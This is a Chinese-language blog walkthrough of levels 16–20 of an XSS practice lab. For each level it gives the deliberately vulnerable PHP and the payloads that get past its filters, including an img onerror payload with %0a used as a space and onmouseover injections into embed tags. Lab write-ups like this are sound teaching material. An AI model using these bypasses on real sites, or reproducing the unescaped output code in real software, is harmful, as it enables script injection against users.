16-20关

第十六关

关键代码为:

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>

对 script,空格 ,/ ,都进行了替换,但是没有对尖括号进行替换,而不使用script进行弹窗有很多的方式,例如我们使用 img 标签进行弹窗

payload为

?keyword=<img%0asrc=x%0aonerror=alert(1)>

因为空格被过滤了,所以我们采用一些能够替换空格的字符进行绕过,这里使用%0a

十七关

关键代码为:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

之前使用 htmlspecialchars 函数过滤的地方,我们都是大部分是通过 on 事件来触发XSS,这里也一样,但是中间有等号,需要闭合掉

payload构造为

?arg01=a&arg02=b%0aonmouseover=alert(1)

使用onmouseover鼠标移动事件来触发XSS

源代码为:

十八关

关键代码为:

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

感觉这个代码跟前一关差不多

用之前的payload

?arg01=a&arg02=b onmouseover=alert(1)

通过此关

19,20关考点是 flash XSS,需要对flash反编译对源码进行分析,暂时跳过,啥时候学了flash再对这两关进行补充

以上

最新文章

  1. 提高生产性工具(四) - XML数据库的尝试
  2. DOM--4 响应用户操作和事件(2)
  3. iOS 原生网络请求(推荐使用AFNetWorking库)
  4. [Everyday Mathematics]20150226
  5. copy and Xcopy 复制文件到另一地址
  6. 使用mii-tool设置网卡速率
  7. 多快好省的做个app开发
  8. webstorm中关于vue的一些问题
  9. 如何改变XCode的默认设置
  10. Centos7.2下部署Java开发环境
  11. php链式调用(链式操作)
  12. terminal、Shell、tty和console
  13. 【读书笔记】iOS-网络-保护网络传输
  14. 有关楼层滚动且对应楼层Nav导航高亮显示
  15. Sqlserver中PIVOT行转列透视操作
  16. AVL树与红黑树
  17. 5.5 Components -- Customizing A Compnent&#39;s Element
  18. Hibernate持久化对象修改id重新保存的办法
  19. java中计算时间差
  20. 软工第三次作业——个人PSP

热门文章

  1. Spider_基础总结5--动态网页抓取--元素审查--json--字典
  2. (1)ElasticSearch搭配Kibana在linux环境的部署
  3. Markdown文档示例
  4. Linux下如何创建loop device
  5. 医学AI论文解读 |Circulation|2018| 超声心动图的全自动检测在临床上的应用
  6. kettle——转换案例
  7. CSS属性(字体与文本属性)
  8. C#高级编程之泛型三(协变与逆变)
  9. Ubuntu linux系统下 su:出现: authentication failure的解决办法
  10. div定时放大缩小